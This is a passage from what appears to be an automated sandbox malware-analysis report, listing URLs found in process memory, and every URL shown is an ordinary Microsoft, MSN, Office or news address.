Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb-dark
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8-dark
Source: msedge.exe.6.dr String found in binary or memory: https://crashpad.chromium.org/
Source: msedge.exe.6.dr String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: msedge.exe.6.dr String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B9627F8000.00000004.00000001.00020000.00000000.sdmp, WinStore.App.exe, 00000024.00000000.1676939865.000001B962800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://da.xboxservices.com/DigitalAttachmentFD/AttachmentRecords
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: StartMenuExperienceHost.exe, 0000001D.00000000.1504669127.00000273D826E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.comp
Source: SearchApp.exe, 0000001F.00000000.1571507511.000001D61CE00000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fb.me/react-polyfills
Source: SearchApp.exe, 0000001F.00000000.1554248946.000001D61A4A0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://fb.me/react-polyfillsThis
Source: SearchApp.exe, 0000001F.00000000.1556526084.000001D61A800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://gcchigh.loki.office365.us/api/v1/configuration/cortana
Source: SearchApp.exe, 0000001F.00000000.1554332947.000001D61A4C0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://gcchigh.loki.office365.us/apihttps://msit.loki.delve.office.com/apihttps://gcc.loki.delve.of
Source: msedge.exe.6.dr String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff
Source: msedge.exe.6.dr String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
Source: SearchApp.exe, 0000001F.00000000.1574349980.000001D61D038000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://graph.windows.net/
Source: SearchApp.exe, 0000001F.00000000.1595795539.000001D62DDC4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://graph.windows.net/https://substrate.office.comWsbVerifyAccountRequired
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1eBTmz.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AATs0AB.img
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1e6XdQ.img
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B9627F8000.00000004.00000001.00020000.00000000.sdmp, WinStore.App.exe, 00000024.00000000.1676939865.000001B962800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://live.xbox.com/purchase/xbox/
Source: YMZwp.exe, 00000009.00000003.1304793378.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, YMZwp.exe, 00000009.00000002.1358038153.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1568130646.000001D61C6EE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1568130646.000001D61C6EE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1559347123.000001D61AD95000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.local
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1559347123.000001D61AD95000.00000004.00000001.00020000.00000000.sdmp, WinStore.App.exe, 00000024.00000000.1674183979.000001B901E02000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.local/
Source: WinStore.App.exe, 00000024.00000000.1674183979.000001B901E02000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.localhttps://login.windows.local
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1550771232.000001D619B3D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.net
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1550771232.000001D619B3D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.net/
Source: SearchApp.exe, 0000001F.00000000.1558233883.000001D61AC39000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://loki.delv
Source: SearchApp.exe, 0000001F.00000000.1552848561.000001D61A247000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://loki.delve.office.com/api
Source: SearchApp.exe, 0000001F.00000000.1556526084.000001D61A800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/cortana
Source: SearchApp.exe, 0000001F.00000000.1570461820.000001D61CBC6000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1570461820.000001D61CBBB000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1570744260.000001D61CC00000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1543905322.000001CE197BE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://mths.be/fromcodepoint
Source: SearchApp.exe, 0000001F.00000000.1592816727.000001D62DC41000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://ntp.msn.com/web-widget?form=M
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com
Source: StartMenuExperienceHost.exe, 0000001D.00000000.1504669127.00000273D826E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.comx
Source: SearchApp.exe, 0000001F.00000000.1596602105.000001D62DEED000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/owahttps://outlook.office.com/owaCodexChatButtonUpperRight
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1589412023.000001D62DAA5000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1554869750.000001D61A56B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1554904383.000001D61A577000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/M365.Access
Source: SearchApp.exe, 0000001F.00000000.1593174717.000001D62DC64000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/M365.Access9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7394866fc-eedb-4f01-8536-3f
Source: SearchApp.exe, 0000001F.00000000.1569853933.000001D61CA00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/M365.AccessZ
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1561018737.000001D61AFAA000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1589775748.000001D62DAB9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/User.ReadWrite
Source: SearchApp.exe, 0000001F.00000000.1595191895.000001D62DDAB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/User.ReadWritehttps://substrate.office.com/M365.AccessZ
Source: SearchApp.exe, 0000001F.00000000.1573700560.000001D61CFCA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/
Source: SearchApp.exe, 0000001F.00000000.1556526084.000001D61A800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office365.com/mail/deeplink/attachment/
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://parade.com/61481/toriavey/where-did-hamburgers-originate
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 0000001D.00000000.1504669127.00000273D826E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.com
Source: SearchApp.exe, 0000001F.00000000.1569853933.000001D61CA00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://rafd.https://raka.https://rcf.aRmsDeferhttps://r.fRmsDefer
Source: SearchApp.exe, 0000001F.00000000.1571507511.000001D61CE00000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: StartMenuExperienceHost.exe, 0000001D.00000000.1516914446.00000273DB117000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://ris.api.iris.
Source: SearchApp.exe, 0000001F.00000000.1567712885.000001D61C60E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1617051808.000001D6307D0000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1563305056.000001D61C0A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/
Source: SearchApp.exe, 0000001F.00000000.1570791530.000001D61CC23000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1572859611.000001D61CF64000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1576617561.000001D62D490000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1601325846.000001D62E02A000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1574349980.000001D61D038000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com
Source: SearchApp.exe, 0000001F.00000000.1600996499.000001D62E006000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/M365.Access.
Source: SearchApp.exe, 0000001F.00000000.1556788501.000001D61A860000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/SubstrateSearch-Internal.ReadWrite
Source: SearchApp.exe, 0000001F.00000000.1595795539.000001D62DDD0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/SubstrateSearch-Internal.ReadWriteO
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1589775748.000001D62DAB9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/api/v2.0/Users(
Source: SearchApp.exe, 0000001F.00000000.1573738956.000001D61CFD0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/dsapi/v1.0/
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/imageB2/v1.0/users/
Source: SearchApp.exe, 0000001F.00000000.1588760995.000001D62DA13000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/imageB2/v1.0/users/1
Source: SearchApp.exe, 0000001F.00000000.1556526084.000001D61A800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/search/api/v1/events?scenario=5
Source: SearchApp.exe, 0000001F.00000000.1554381094.000001D61A4E3000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/search/api1f8c91c6-235c-4050-8639-720df71e4e93d0438cf5-4bd5-480a-aeab-0
Source: SearchApp.exe, 0000001F.00000000.1605415996.000001D62E0C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.comRemovingScopeNarratorText2
Source: SearchApp.exe, 0000001F.00000000.1573738956.000001D61CFD0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1589775748.000001D62DAB9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us/api/v2.0/Users(
Source: SearchApp.exe, 0000001F.00000000.1543825269.000001CE1977D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us/imageB2/v1.0/users/
Source: SearchApp.exe, 0000001F.00000000.1556603562.000001D61A820000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us/search/api/v2/queryhttps://substrate.office.com/search/api/v2/query
Source: smartscreen.exe, 00000022.00000003.2426909709.0000014226C27000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us
Source: smartscreen.exe, 00000022.00000003.2426909709.0000014226C27000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us
Source: smartscreen.exe, 00000022.00000003.2426909709.0000014226C27000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
Source: SearchApp.exe, 0000001F.00000000.1558233883.000001D61AC39000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://usgovhigh.business.bi
Source: SearchApp.exe, 0000001F.00000000.1534192667.000001CE12200000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.cn/shellRESP
Source: SearchApp.exe, 0000001F.00000000.1534192667.000001CE12200000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com/shell
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000001B.00000003.2291978153.000000000899E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.000000000899E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.000000000899E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/bat
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: StartMenuExperienceHost.exe, 0000001D.00000000.1504669127.00000273D826E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.coms
Source: SearchApp.exe, 0000001F.00000000.1593174717.000001D62DC64000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.www.bing.www.yandex.google
Source: SearchApp.exe, 0000001F.00000000.1570875044.000001D61CCDD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/archery-king/cg-9n5gkc4t7lzz&quot;
Source: SearchApp.exe, 0000001F.00000000.1584377831.000001D62D7DD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/basketball-frvr/cg-9npd4c9369l0https://www.msn.com/de-ch/play/g
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1563305056.000001D61C0A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/bowling-hero/cg-9n4v2151rf31
Source: SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/bowling-hero/cg-9n4v2151rf31&quot;
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/bricks-breaker-deluxe-crusher/cg-9nnjfbfrzq3j&quot;
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1563305056.000001D61C0A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4w
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4w&quot;
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1563305056.000001D61C0A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/food-tycoon-frvr/cg-9nf9144n6817
Source: SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/food-tycoon-frvr/cg-9nf9144n6817&quot;
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/master-checkers-multiplayer/cg-9p3c5sx31v9k&quot;
Source: SearchApp.exe, 0000001F.00000000.1555536007.000001D61A600000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1563305056.000001D61C0A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1
Source: SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1&quot;
Source: SearchApp.exe, 0000001F.00000000.1555856407.000001D61A6C6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play?ocid=winpsearchboxexpcta2&amp;cgfrom=cg_dsb_seeMore&quot;
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/foodanddrink/foodnews/the-best-burger-place-in-phoenix-plus-see-the-rest-o
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/companies/kaiser-permanente-and-unions-for-75-000-striking-health-wo
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
